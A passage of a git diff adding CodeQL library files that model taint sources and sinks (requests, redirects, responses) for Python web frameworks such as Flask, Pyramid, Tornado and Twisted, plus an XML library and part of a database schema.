exists(MethodViewClass view_class | + kind = view_class.asTaint() and + this.(CallNode).getFunction().(AttrNode).getObject("as_view").refersTo(view_class) + ) + } + +} + diff --git a/python/ql/src/semmle/python/web/flask/Redirect.qll b/python/ql/src/semmle/python/web/flask/Redirect.qll new file mode 100644 index 00000000000..81a6d4dc064 --- /dev/null +++ b/python/ql/src/semmle/python/web/flask/Redirect.qll @@ -0,0 +1,35 @@ +/** Provides class representing the `flask.redirect` function. + * This module is intended to be imported into a taint-tracking query + * to extend `TaintSink`. + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic +import semmle.python.web.flask.General + +FunctionObject flask_redirect() { + result = theFlaskModule().getAttribute("redirect") +} + +/** + * Represents an argument to the `flask.redirect` function. + */ +class FlaskRedirect extends TaintSink { + + override string toString() { + result = "flask.redirect" + } + + FlaskRedirect() { + exists(CallNode call | + flask_redirect().getACall() = call and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + +} diff --git a/python/ql/src/semmle/python/web/flask/Request.qll b/python/ql/src/semmle/python/web/flask/Request.qll new file mode 100644 index 00000000000..caa388e0d77 --- /dev/null +++ b/python/ql/src/semmle/python/web/flask/Request.qll @@ -0,0 +1,75 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.web.Http +import semmle.python.web.flask.General + +private Object theFlaskRequestObject() { + result = theFlaskModule().getAttribute("request") + +} + +/** Holds if `attr` is an access of attribute `name` of the flask request object */ +private predicate flask_request_attr(AttrNode attr, string name) { + attr.isLoad() and + attr.getObject(name).refersTo(theFlaskRequestObject()) +} + +/** Source of external data from a flask request */ +class FlaskRequestData extends SimpleHttpRequestTaintSource { + + FlaskRequestData() { + not this instanceof FlaskRequestArgs and + exists(string name | + flask_request_attr(this, name) | + name = "path" or name = "full_path" or + name = "base_url" or name = "url" + ) + } + + override string toString() { + result = "flask.request" + } + +} + +/** Source of dictionary whose values are externally controlled */ +class FlaskRequestArgs extends TaintSource { + + FlaskRequestArgs() { + exists(string attr | + flask_request_attr(this, attr) | + attr = "args" or attr = "form" or + attr = "values" or attr = "files" or + attr = "headers" or attr = "json" + ) + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringDictKind + } + + override string toString() { + result = "flask.request.args" + } + +} + + +/** Source of dictionary whose values are externally controlled */ +class FlaskRequestJson extends TaintSource { + + FlaskRequestJson() { + flask_request_attr(this, "json") + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalJsonKind + } + + override string toString() { + result = "flask.request.json" + } + +} + diff --git a/python/ql/src/semmle/python/web/flask/Response.qll b/python/ql/src/semmle/python/web/flask/Response.qll new file mode 100644 index 00000000000..13f51f6519b --- /dev/null +++ b/python/ql/src/semmle/python/web/flask/Response.qll @@ -0,0 +1,48 @@ +import python + + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic + +import semmle.python.web.flask.General + +/** A flask response, which is vulnerable to any sort of + * http response malice. */ +class FlaskRoutedResponse extends TaintSink { + + FlaskRoutedResponse() { + exists(PyFunctionObject response | + flask_routing(_, response.getFunction()) and + this = response.getAReturnedNode() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + + override string toString() { + result = "flask.routed.response" + } + +} + + +class FlaskResponseArgument extends TaintSink { + + FlaskResponseArgument() { + exists(CallNode call | + call.getFunction().refersTo(theFlaskReponseClass()) and + call.getArg(0) = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + + override string toString() { + result = "flask.response.argument" + } + +} \ No newline at end of file diff --git a/python/ql/src/semmle/python/web/pyramid/Redirect.qll b/python/ql/src/semmle/python/web/pyramid/Redirect.qll new file mode 100644 index 00000000000..61f662232b4 --- /dev/null +++ b/python/ql/src/semmle/python/web/pyramid/Redirect.qll @@ -0,0 +1,42 @@ +/** Provides class representing the `pyramid.redirect` function. + * This module is intended to be imported into a taint-tracking query + * to extend `TaintSink`. + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic + +private ClassObject redirectClass() { + exists(ModuleObject ex | + ex.getName() = "pyramid.httpexceptions" | + ex.getAttribute("HTTPFound") = result + or + ex.getAttribute("HTTPTemporaryRedirect") = result + ) +} + +/** + * Represents an argument to the `tornado.redirect` function. + */ +class PyramidRedirect extends TaintSink { + + override string toString() { + result = "pyramid.redirect" + } + + PyramidRedirect() { + exists(CallNode call | + call.getFunction().refersTo(redirectClass()) + | + call.getArg(0) = this + or + call.getArgByName("location") = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + +} diff --git a/python/ql/src/semmle/python/web/pyramid/Request.qll b/python/ql/src/semmle/python/web/pyramid/Request.qll new file mode 100644 index 00000000000..a35c2120353 --- /dev/null +++ b/python/ql/src/semmle/python/web/pyramid/Request.qll @@ -0,0 +1,39 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.web.Http +private import semmle.python.web.webob.Request +private import semmle.python.web.pyramid.View + +class PyramidRequest extends BaseWebobRequest { + + PyramidRequest() { + this = "pyramid.request" + } + + override ClassObject getClass() { + result = any(ModuleObject m | m.getName() = "pyramid.request").getAttribute("Request") + } + +} + +/** Source of pyramid request objects */ +class PyramidViewArgument extends TaintSource { + + PyramidViewArgument() { + exists(Function view_func | + is_pyramid_view_function(view_func) and + this.(ControlFlowNode).getNode() = view_func.getArg(0) + ) + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof PyramidRequest + } + + override string toString() { + result = "pyramid.view.argument" + } + +} + diff --git a/python/ql/src/semmle/python/web/pyramid/Response.qll b/python/ql/src/semmle/python/web/pyramid/Response.qll new file mode 100644 index 00000000000..85f572c9eee --- /dev/null +++ b/python/ql/src/semmle/python/web/pyramid/Response.qll @@ -0,0 +1,28 @@ +import python + + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic + +private import semmle.python.web.pyramid.View + +/** A pyramid response, which is vulnerable to any sort of + * http response malice. */ +class PyramidRoutedResponse extends TaintSink { + + PyramidRoutedResponse() { + exists(PyFunctionObject view | + is_pyramid_view_function(view.getFunction()) and + this = view.getAReturnedNode() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + + override string toString() { + result = "pyramid.routed.response" + } + +} diff --git a/python/ql/src/semmle/python/web/pyramid/View.qll b/python/ql/src/semmle/python/web/pyramid/View.qll new file mode 100644 index 00000000000..20e59c4c76d --- /dev/null +++ b/python/ql/src/semmle/python/web/pyramid/View.qll @@ -0,0 +1,14 @@ +import python + +ModuleObject thePyramidViewModule() { + result.getName() = "pyramid.view" +} + +Object thePyramidViewConfig() { + result = thePyramidViewModule().getAttribute("view_config") +} + +predicate is_pyramid_view_function(Function func) { + func.getADecorator().refersTo(_, thePyramidViewConfig(), _) +} + diff --git a/python/ql/src/semmle/python/web/tornado/Redirect.qll b/python/ql/src/semmle/python/web/tornado/Redirect.qll new file mode 100644 index 00000000000..3bfd022df72 --- /dev/null +++ b/python/ql/src/semmle/python/web/tornado/Redirect.qll @@ -0,0 +1,33 @@ +/** Provides class representing the `tornado.redirect` function. + * This module is intended to be imported into a taint-tracking query + * to extend `TaintSink`. + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic +import Tornado + + +/** + * Represents an argument to the `tornado.redirect` function. + */ +class TornadoRedirect extends TaintSink { + + override string toString() { + result = "tornado.redirect" + } + + TornadoRedirect() { + exists(CallNode call, ControlFlowNode node | + node = call.getFunction().(AttrNode).getObject("redirect") and + isTornadoRequestHandlerInstance(node) and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + +} diff --git a/python/ql/src/semmle/python/web/tornado/Request.qll b/python/ql/src/semmle/python/web/tornado/Request.qll new file mode 100644 index 00000000000..bc28dba114d --- /dev/null +++ b/python/ql/src/semmle/python/web/tornado/Request.qll @@ -0,0 +1,93 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.web.Http +import Tornado + +/** A tornado.request.HttpRequest object */ +class TornadoRequest extends TaintKind { + + TornadoRequest() { + this = "tornado.request.HttpRequest" + } + + override TaintKind getTaintOfAttribute(string name) { + result instanceof ExternalStringDictKind and + ( + name = "headers" or + name = "arguments" or + name = "cookies" + ) + or + result instanceof ExternalStringKind and + ( + name = "path" or + name = "query" or + name = "body" + ) + } + +} + + +class TornadoRequestSource extends TaintSource { + + TornadoRequestSource() { + isTornadoRequestHandlerInstance(this.(AttrNode).getObject("request")) + } + + override string toString() { + result = "Tornado request source" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof TornadoRequest + } + +} + +class TornadoExternalInputSource extends TaintSource { + + TornadoExternalInputSource() { + exists(string name | + name = "get_argument" or + name = "get_query_argument" or + name = "get_body_argument" or + name = "decode_argument" + | + this = callToNamedTornadoRequestHandlerMethod(name) + ) + } + + override string toString() { + result = "Tornado request method" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringKind + } + +} + +class TornadoExternalInputListSource extends TaintSource { + + TornadoExternalInputListSource() { + exists(string name | + name = "get_arguments" or + name = "get_query_arguments" or + name = "get_body_arguments" + | + this = callToNamedTornadoRequestHandlerMethod(name) + ) + } + + override string toString() { + result = "Tornado request method" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringSequenceKind + } + +} + diff --git a/python/ql/src/semmle/python/web/tornado/Response.qll b/python/ql/src/semmle/python/web/tornado/Response.qll new file mode 100644 index 00000000000..242ea816082 --- /dev/null +++ b/python/ql/src/semmle/python/web/tornado/Response.qll @@ -0,0 +1,96 @@ +import python + + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic + +import Tornado + +class TornadoConnection extends TaintKind { + + TornadoConnection() { + this = "tornado.http.connection" + } + +} + +class TornadoConnectionSource extends TaintSource { + + TornadoConnectionSource() { + isTornadoRequestHandlerInstance(this.(AttrNode).getObject("connection")) + } + + override string toString() { + result = "Tornado http connection source" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof TornadoConnection + } + +} + +class TornadoConnectionWrite extends TaintSink { + + override string toString() { + result = "tornado.connection.write" + } + + TornadoConnectionWrite() { + exists(CallNode call, ControlFlowNode conn | + conn = call.getFunction().(AttrNode).getObject("write") and + this = call.getAnArg() | + exists(TornadoConnection tc | tc.taints(conn)) + or + isTornadoRequestHandlerInstance(conn) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + +} + +class TornadoHttpRequestHandlerWrite extends TaintSink { + + override string toString() { + result = "tornado.HttpRequesHandler.write" + } + + TornadoHttpRequestHandlerWrite() { + exists(CallNode call, ControlFlowNode node | + node = call.getFunction().(AttrNode).getObject("write") and + isTornadoRequestHandlerInstance(node) and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + +} + +class TornadoHttpRequestHandlerRedirect extends TaintSink { + + override string toString() { + result = "tornado.HttpRequesHandler.redirect" + } + + TornadoHttpRequestHandlerRedirect() { + exists(CallNode call, ControlFlowNode node | + node = call.getFunction().(AttrNode).getObject("redirect") and + isTornadoRequestHandlerInstance(node) and + this = call.getArg(0) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + +} + + + diff --git a/python/ql/src/semmle/python/web/tornado/Tornado.qll b/python/ql/src/semmle/python/web/tornado/Tornado.qll new file mode 100644 index 00000000000..d20e81953a0 --- /dev/null +++ b/python/ql/src/semmle/python/web/tornado/Tornado.qll @@ -0,0 +1,35 @@ +import python + +import semmle.python.security.TaintTracking + +private ClassObject theTornadoRequestHandlerClass() { + result = any(ModuleObject m | m.getName() = "tornado.web").getAttribute("RequestHandler") +} + +ClassObject aTornadoRequestHandlerClass() { + result.getASuperType() = theTornadoRequestHandlerClass() +} + +FunctionObject getTornadoRequestHandlerMethod(string name) { + result = theTornadoRequestHandlerClass().declaredAttribute(name) +} + +/** Holds if `node` is likely to refer to an instance of a tornado + * `RequestHandler` class. + */ + +predicate isTornadoRequestHandlerInstance(ControlFlowNode node) { + node.refersTo(_, aTornadoRequestHandlerClass(), _) + or + /* In some cases, the points-to analysis won't capture all instances we care + * about. For these, we use the following syntactic check. First, that + * `node` appears inside a method of a subclass of + * `tornado.web.RequestHandler`:*/ + node.getScope().getEnclosingScope().(Class).getClassObject() = aTornadoRequestHandlerClass() and + /* Secondly, that `node` refers to the `self` argument: */ + node.isLoad() and node.(NameNode).isSelf() +} + +CallNode callToNamedTornadoRequestHandlerMethod(string name) { + isTornadoRequestHandlerInstance(result.getFunction().(AttrNode).getObject(name)) +} \ No newline at end of file diff --git a/python/ql/src/semmle/python/web/twisted/Request.qll b/python/ql/src/semmle/python/web/twisted/Request.qll new file mode 100644 index 00000000000..8be5db7bb4d --- /dev/null +++ b/python/ql/src/semmle/python/web/twisted/Request.qll @@ -0,0 +1,54 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.web.Http +import Twisted + +/** A twisted.web.http.Request object */ +class TwistedRequest extends TaintKind { + + TwistedRequest() { + this = "twisted.request.http.Request" + } + + override TaintKind getTaintOfAttribute(string name) { + result instanceof ExternalStringSequenceDictKind and + ( + name = "args" + ) + or + result instanceof ExternalStringKind and + ( + name = "uri" or + name = "path" + ) + } + + override TaintKind getTaintOfMethodResult(string name) { + ( + name = "getHeader" or + name = "getCookie" or + name = "getUser" or + name = "getPassword" + ) and + result instanceof ExternalStringKind + } + +} + + +class TwistedRequestSource extends TaintSource { + + TwistedRequestSource() { + isTwistedRequestInstance(this) + } + + override string toString() { + result = "Twisted request source" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof TwistedRequest + } + +} diff --git a/python/ql/src/semmle/python/web/twisted/Response.qll b/python/ql/src/semmle/python/web/twisted/Response.qll new file mode 100644 index 00000000000..45c5ad56b35 --- /dev/null +++ b/python/ql/src/semmle/python/web/twisted/Response.qll @@ -0,0 +1,54 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.web.Http +import semmle.python.security.strings.Basic +import Twisted +import Request + +class TwistedResponse extends TaintSink { + TwistedResponse() { + exists(PyFunctionObject func, string name | + isKnownRequestHandlerMethodName(name) and + name = func.getName() and + func = getTwistedRequestHandlerMethod(name) and + this = func.getAReturnedNode() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "Twisted response" + } +} + +/** + * A sink of taint in the form of a "setter" method on a twisted request + * object, which affects the properties of the subsequent response sent to this + * request. + */ + class TwistedRequestSetter extends TaintSink { + TwistedRequestSetter() { + exists(CallNode call, ControlFlowNode node, string name | + ( + name = "setHeader" or + name = "addCookie" or + name = "write" + ) and + any(TwistedRequest t).taints(node) and + node = call.getFunction().(AttrNode).getObject(name) and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "Twisted request setter" + } +} \ No newline at end of file diff --git a/python/ql/src/semmle/python/web/twisted/Twisted.qll b/python/ql/src/semmle/python/web/twisted/Twisted.qll new file mode 100644 index 00000000000..13db1dc9a8e --- /dev/null +++ b/python/ql/src/semmle/python/web/twisted/Twisted.qll @@ -0,0 +1,52 @@ +import python + +import semmle.python.security.TaintTracking + +private ClassObject theTwistedHttpRequestClass() { + result = any(ModuleObject m | m.getName() = "twisted.web.http").getAttribute("Request") +} + +private ClassObject theTwistedHttpResourceClass() { + result = any(ModuleObject m | m.getName() = "twisted.web.resource").getAttribute("Resource") +} + +ClassObject aTwistedRequestHandlerClass() { + result.getASuperType() = theTwistedHttpResourceClass() +} + +FunctionObject getTwistedRequestHandlerMethod(string name) { + result = aTwistedRequestHandlerClass().declaredAttribute(name) +} + +bindingset[name] +predicate isKnownRequestHandlerMethodName(string name) { + name = "render" or + name.matches("render_%") +} + +/** Holds if `node` is likely to refer to an instance of the twisted + * `Request` class. + */ +predicate isTwistedRequestInstance(NameNode node) { + node.refersTo(_, theTwistedHttpRequestClass(), _) + or + /* In points-to analysis cannot infer that a given object is an instance of + * the `twisted.web.http.Request` class, we also include any parameter + * called `request` that appears inside a subclass of a request handler + * class, and the appropriate arguments of known request handler methods. + */ + exists(Function func | func = node.getScope() | + func.getEnclosingScope().(Class).getClassObject() = aTwistedRequestHandlerClass() + ) and + ( + /* Any parameter called `request` */ + node.getId() = "request" and + node.isParameter() + or + /* Any request parameter of a known request handler method */ + exists(FunctionObject func | node.getScope() = func.getFunction() | + isKnownRequestHandlerMethodName(func.getName()) and + node.getNode() = func.getFunction().getArg(1) + ) + ) +} diff --git a/python/ql/src/semmle/python/web/webob/Request.qll b/python/ql/src/semmle/python/web/webob/Request.qll new file mode 100644 index 00000000000..5cb11ba23a6 --- /dev/null +++ b/python/ql/src/semmle/python/web/webob/Request.qll @@ -0,0 +1,51 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.web.Http + +abstract class BaseWebobRequest extends TaintKind { + + bindingset[this] + BaseWebobRequest() { any() } + + override TaintKind getTaintOfAttribute(string name) { + result instanceof ExternalStringDictKind and + ( + name = "GET" or + name = "POST" or + name = "headers" + ) + or + result instanceof ExternalStringKind and + ( + name = "body" + ) + } + + override TaintKind getTaintOfMethodResult(string name) { + result = this and + ( + name = "copy" or + name = "copy_get" or + name = "copy_body" + ) + or + result instanceof ExternalStringKind and + ( + name = "as_bytes" + ) + } + +} + +class WebobRequest extends BaseWebobRequest { + + WebobRequest() { + this = "webob.Request" + } + + override ClassObject getClass() { + result = any(ModuleObject m | m.getName() = "webob.request").getAttribute("Request") + } + +} diff --git a/python/ql/src/semmle/python/xml/XML.qll b/python/ql/src/semmle/python/xml/XML.qll new file mode 100755 index 00000000000..13cc8d84f37 --- /dev/null +++ b/python/ql/src/semmle/python/xml/XML.qll @@ -0,0 +1,282 @@ +/** + * A library for working with XML files and their content. + */ + +import semmle.python.Files + +/** An XML element that has a location. */ +abstract class XMLLocatable extends @xmllocatable { + /** The source location for this element. */ + Location getLocation() { xmllocations(this,result) } + + /** + * Whether this element has the specified location information, + * including file path, start line, start column, end line and end column. + */ + predicate hasLocationInfo(string filepath, int startline, int startcolumn, int endline, int endcolumn) { + exists(File f, Location l | l = this.getLocation() | + locations_default(l,f,startline,startcolumn,endline,endcolumn) and + filepath = f.getName() + ) + } + + /** A printable representation of this element. */ + abstract string toString(); +} + +/** + * An `XMLParent` is either an `XMLElement` or an `XMLFile`, + * both of which can contain other elements. + */ +class XMLParent extends @xmlparent { + /** + * A printable representation of this XML parent. + * (Intended to be overridden in subclasses.) + */ + /*abstract*/ string getName() { result = "parent" } + + /** The file to which this XML parent belongs. */ + XMLFile getFile() { result = this or xmlElements(this,_,_,_,result) } + + /** The child element at a specified index of this XML parent. */ + XMLElement getChild(int index) { xmlElements(result, _, this, index, _) } + + /** A child element of this XML parent. */ + XMLElement getAChild() { xmlElements(result,_,this,_,_) } + + /** A child element of this XML parent with the given `name`. */ + XMLElement getAChild(string name) { xmlElements(result,_,this,_,_) and result.hasName(name) } + + /** A comment that is a child of this XML parent. */ + XMLComment getAComment() { xmlComments(result,_,this,_) } + + /** A character sequence that is a child of this XML parent. */ + XMLCharacters getACharactersSet() { xmlChars(result,_,this,_,_,_) } + + /** The depth in the tree. (Overridden in XMLElement.) */ + int getDepth() { result = 0 } + + /** The number of child XML elements of this XML parent. */ + int getNumberOfChildren() { + result = count(XMLElement e | xmlElements(e,_,this,_,_)) + } + + /** The number of places in the body of this XML parent where text occurs. */ + int getNumberOfCharacterSets() { + result = count(int pos | xmlChars(_,_,this,pos,_,_)) + } + + /** + * Append the character sequences of this XML parent from left to right, separated by a space, + * up to a specified (zero-based) index. + */ + string charsSetUpTo(int n) { + (n = 0 and xmlChars(_,result,this,0,_,_)) or + (n > 0 and exists(string chars | xmlChars(_,chars,this,n,_,_) | + result = this.charsSetUpTo(n-1) + " " + chars)) + } + + /** Append all the character sequences of this XML parent from left to right, separated by a space. */ + string allCharactersString() { + exists(int n | n = this.getNumberOfCharacterSets() | + (n = 0 and result = "") or + (n > 0 and result = this.charsSetUpTo(n-1)) + ) + } + + /** The text value contained in this XML parent. */ + string getTextValue() { + result = allCharactersString() + } + + /** A printable representation of this XML parent. */ + string toString() { result = this.getName() } +} + +/** An XML file. */ +class XMLFile extends XMLParent, File { + XMLFile() { + xmlEncoding(this,_) + } + + /** A printable representation of this XML file. */ + override + string toString() { result = XMLParent.super.toString() } + + /** The name of this XML file. */ + override + string getName() { files(this,result,_,_,_) } + + /** The path of this XML file. */ + string getPath() { files(this,_,result,_,_) } + + /** The path of the folder that contains this XML file. */ + string getFolder() { + result = this.getPath().substring(0, this.getPath().length()-this.getName().length()) + } + + /** The encoding of this XML file. */ + string getEncoding() { xmlEncoding(this,result) } + + /** The XML file itself. */ + override + XMLFile getFile() { result = this } + + /** A top-most element in an XML file. */ + XMLElement getARootElement() { result = this.getAChild() } + + /** A DTD associated with this XML file. */ + XMLDTD getADTD() { xmlDTDs(result,_,_,_,this) } +} + +/** A "Document Type Definition" of an XML file. */ +class XMLDTD extends @xmldtd { + /** The name of the root element of this DTD. */ + string getRoot() { xmlDTDs(this,result,_,_,_) } + + /** The public ID of this DTD. */ + string getPublicId() { xmlDTDs(this,_,result,_,_) } + + /** The system ID of this DTD. */ + string getSystemId() { xmlDTDs(this,_,_,result,_) } + + /** Whether this DTD is public. */ + predicate isPublic() { not xmlDTDs(this,_,"",_,_) } + + /** The parent of this DTD. */ + XMLParent getParent() { xmlDTDs(this,_,_,_,result) } + + /** A printable representation of this DTD. */ + string toString() { + (this.isPublic() and result = this.getRoot() + " PUBLIC '" + + this.getPublicId() + "' '" + + this.getSystemId() + "'") or + (not this.isPublic() and result = this.getRoot() + + " SYSTEM '" + + this.getSystemId() + "'") + } +} + +/** An XML tag in an XML file. */ +class XMLElement extends @xmlelement, XMLParent, XMLLocatable { + /** Whether this XML element has the given `name`. */ + predicate hasName(string name) { name = getName() } + + /** The name of this XML element. */ + override + string getName() { xmlElements(this,result,_,_,_) } + + /** The XML file in which this XML element occurs. */ + override + XMLFile getFile() { xmlElements(this,_,_,_,result) } + + /** The parent of this XML element. */ + XMLParent getParent() { xmlElements(this,_,result,_,_) } + + /** The index of this XML element among its parent's children. */ + int getIndex() { xmlElements(this, _, _, result, _) } + + /** Whether this XML element has a namespace. */ + predicate hasNamespace() { xmlHasNs(this,_,_) } + + /** The namespace of this XML element, if any. */ + XMLNamespace getNamespace() { xmlHasNs(this,result,_) } + + /** The index of this XML element among its parent's children. */ + int getElementPositionIndex() { xmlElements(this,_,_,result,_) } + + /** The depth of this element within the XML file tree structure. */ + override + int getDepth() { result = this.getParent().getDepth() + 1 } + + /** An XML attribute of this XML element. */ + XMLAttribute getAnAttribute() { result.getElement() = this } + + /** The attribute with the specified `name`, if any. */ + XMLAttribute getAttribute(string name) { + result.getElement() = this and result.getName() = name + } + + /** Whether this XML element has an attribute with the specified `name`. */ + predicate hasAttribute(string name) { + exists(XMLAttribute a| a = this.getAttribute(name)) + } + + /** The value of the attribute with the specified `name`, if any. */ + string getAttributeValue(string name) { + result = this.getAttribute(name).getValue() + } + + /** A printable representation of this XML element. */ + override + string toString() { result = XMLParent.super.toString() } +} + +/** An attribute that occurs inside an XML element. */ +class XMLAttribute extends @xmlattribute, XMLLocatable { + /** The name of this attribute. */ + string getName() { xmlAttrs(this,_,result,_,_,_) } + + /** The XML element to which this attribute belongs. */ + XMLElement getElement() { xmlAttrs(this,result,_,_,_,_) } + + /** Whether this attribute has a namespace. */ + predicate hasNamespace() { xmlHasNs(this,_,_) } + + /** The namespace of this attribute, if any. */ + XMLNamespace getNamespace() { xmlHasNs(this,result,_) } + + /** The value of this attribute. */ + string getValue() { xmlAttrs(this,_,_,result,_,_) } + + /** A printable representation of this XML attribute. */ + override string toString() { result = this.getName() + "=" + this.getValue() } +} + +/** A namespace used in an XML file */ +class XMLNamespace extends @xmlnamespace { + /** The prefix of this namespace. */ + string getPrefix() { xmlNs(this,result,_,_) } + + /** The URI of this namespace. */ + string getURI() { xmlNs(this,_,result,_) } + + /** Whether this namespace has no prefix. */ + predicate isDefault() { this.getPrefix() = "" } + + /** A printable representation of this XML namespace. */ + string toString() { + (this.isDefault() and result = this.getURI()) or + (not this.isDefault() and result = this.getPrefix() + ":" + this.getURI()) + } +} + +/** A comment of the form `` is an XML comment. */ +class XMLComment extends @xmlcomment, XMLLocatable { + /** The text content of this XML comment. */ + string getText() { xmlComments(this,result,_,_) } + + /** The parent of this XML comment. */ + XMLParent getParent() { xmlComments(this,_,result,_) } + + /** A printable representation of this XML comment. */ + override string toString() { result = this.getText() } +} + +/** + * A sequence of characters that occurs between opening and + * closing tags of an XML element, excluding other elements. + */ +class XMLCharacters extends @xmlcharacters, XMLLocatable { + /** The content of this character sequence. */ + string getCharacters() { xmlChars(this,result,_,_,_,_) } + + /** The parent of this character sequence. */ + XMLParent getParent() { xmlChars(this,_,result,_,_,_) } + + /** Whether this character sequence is CDATA. */ + predicate isCDATA() { xmlChars(this,_,_,_,1,_) } + + /** A printable representation of this XML character sequence. */ + override string toString() { result = this.getCharacters() } +} diff --git a/python/ql/src/semmlecode.python.dbscheme b/python/ql/src/semmlecode.python.dbscheme new file mode 100644 index 00000000000..62a30d37a72 --- /dev/null +++ b/python/ql/src/semmlecode.python.dbscheme @@ -0,0 +1,982 @@ +/* + * This dbscheme is auto-generated by 'semmle/dbscheme_gen.py'. + * WARNING: Any modifications to this file will be lost. + * Relations can be changed by modifying master.py or + * by adding rules to dbscheme.template + */ + + /* + * External artifacts + */ + +externalDefects( + unique int id : @externalDefect, + varchar(900) queryPath : string ref, + int location : @location ref, + varchar(900) message : string ref, + float severity : float ref +); + +externalMetrics( + unique int id : @externalMetric, + varchar(900) queryPath : string ref, + int location : @location ref, + float value : float ref +); + +externalData( + int id : @externalDataElement, + varchar(900) queryPath : string ref, + int column: int ref, + varchar(900) data : string ref +); + +snapshotDate(unique date snapshotDate : date ref); + +sourceLocationPrefix(varchar(900) prefix : string ref); + + +/* + * Duplicate code + */ + +duplicateCode( + unique int id : @duplication, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +similarCode( + unique int id : @similarity, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref); + +/* + * Line metrics + */ +py_codelines(int id : @py_scope ref, + int count : int ref); + +py_commentlines(int id : @py_scope ref, + int count : int ref); + +py_docstringlines(int id : @py_scope ref, + int count : int ref); + +py_alllines(int id : @py_scope ref, + int count : int ref); + +/* + * Version history + */ + +svnentries( + int id : @svnentry, + varchar(500) revision : string ref, + varchar(500) author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + varchar(500) action : string ref +) + +svnentrymsg( + int id : @svnentry ref, + varchar(500) message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/**************************** + Python dbscheme +****************************/ + +/* fromSource is ignored */ +files(unique int id: @file, + varchar(900) name: string ref, + varchar(900) simple: string ref, + varchar(900) ext: string ref, + int fromSource: int ref); + +folders(unique int id: @folder, + varchar(900) name: string ref, + varchar(900) simple: string ref); + +@container = @folder | @file; + +containerparent(int parent: @container ref, + unique int child: @container ref); + +@sourceline = @file | @py_Module | @xmllocatable; + +numlines(int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref + ); + +@location = @location_ast | @location_default ; + +locations_default(unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_ast(unique int id: @location_ast, + int module: @py_Module ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +file_contents(unique int file: @file ref, string contents: string ref); + +py_module_path(int module: @py_Module ref, int file: @container ref); + +variable(unique int id : @py_variable, + int scope : @py_scope ref, + varchar(1) name : string ref); + +py_line_lengths(unique int id : @py_line, + int file: @py_Module ref, + int line : int ref, + int length : int ref); + +py_extracted_version(int module : @py_Module ref, + varchar(1) version : string ref); + +/* AUTO GENERATED PART STARTS HERE */ + + +/* AnnAssign.location = 0, location */ +/* AnnAssign.value = 1, expr */ +/* AnnAssign.annotation = 2, expr */ +/* AnnAssign.target = 3, expr */ + +/* Assert.location = 0, location */ +/* Assert.test = 1, expr */ +/* Assert.msg = 2, expr */ + +/* Assign.location = 0, location */ +/* Assign.value = 1, expr */ +/* Assign.targets = 2, expr_list */ + +/* AssignExpr.location = 0, location */ +/* AssignExpr.parenthesised = 1, bool */ +/* AssignExpr.value = 2, expr */ +/* AssignExpr.target = 3, expr */ + +/* Attribute.location = 0, location */ +/* Attribute.parenthesised = 1, bool */ +/* Attribute.value = 2, expr */ +/* Attribute.attr = 3, str */ +/* Attribute.ctx = 4, expr_context */ + +/* AugAssign.location = 0, location */ +/* AugAssign.operation = 1, BinOp */ + +/* Await.location = 0, location */ +/* Await.parenthesised = 1, bool */ +/* Await.value = 2, expr */ + +/* BinaryExpr.location = 0, location */ +/* BinaryExpr.parenthesised = 1, bool */ +/* BinaryExpr.left = 2, expr */ +/* BinaryExpr.op = 3, operator */ +/* BinaryExpr.right = 4, expr */ +/* BinaryExpr = AugAssign */ + +/* BoolExpr.location = 0, location */ +/* BoolExpr.parenthesised = 1, bool */ +/* BoolExpr.op = 2, boolop */ +/* BoolExpr.values = 3, expr_list */ + +/* Break.location = 0, location */ + +/* Bytes.location = 0, location */ +/* Bytes.parenthesised = 1, bool */ +/* Bytes.s = 2, bytes */ +/* Bytes.prefix = 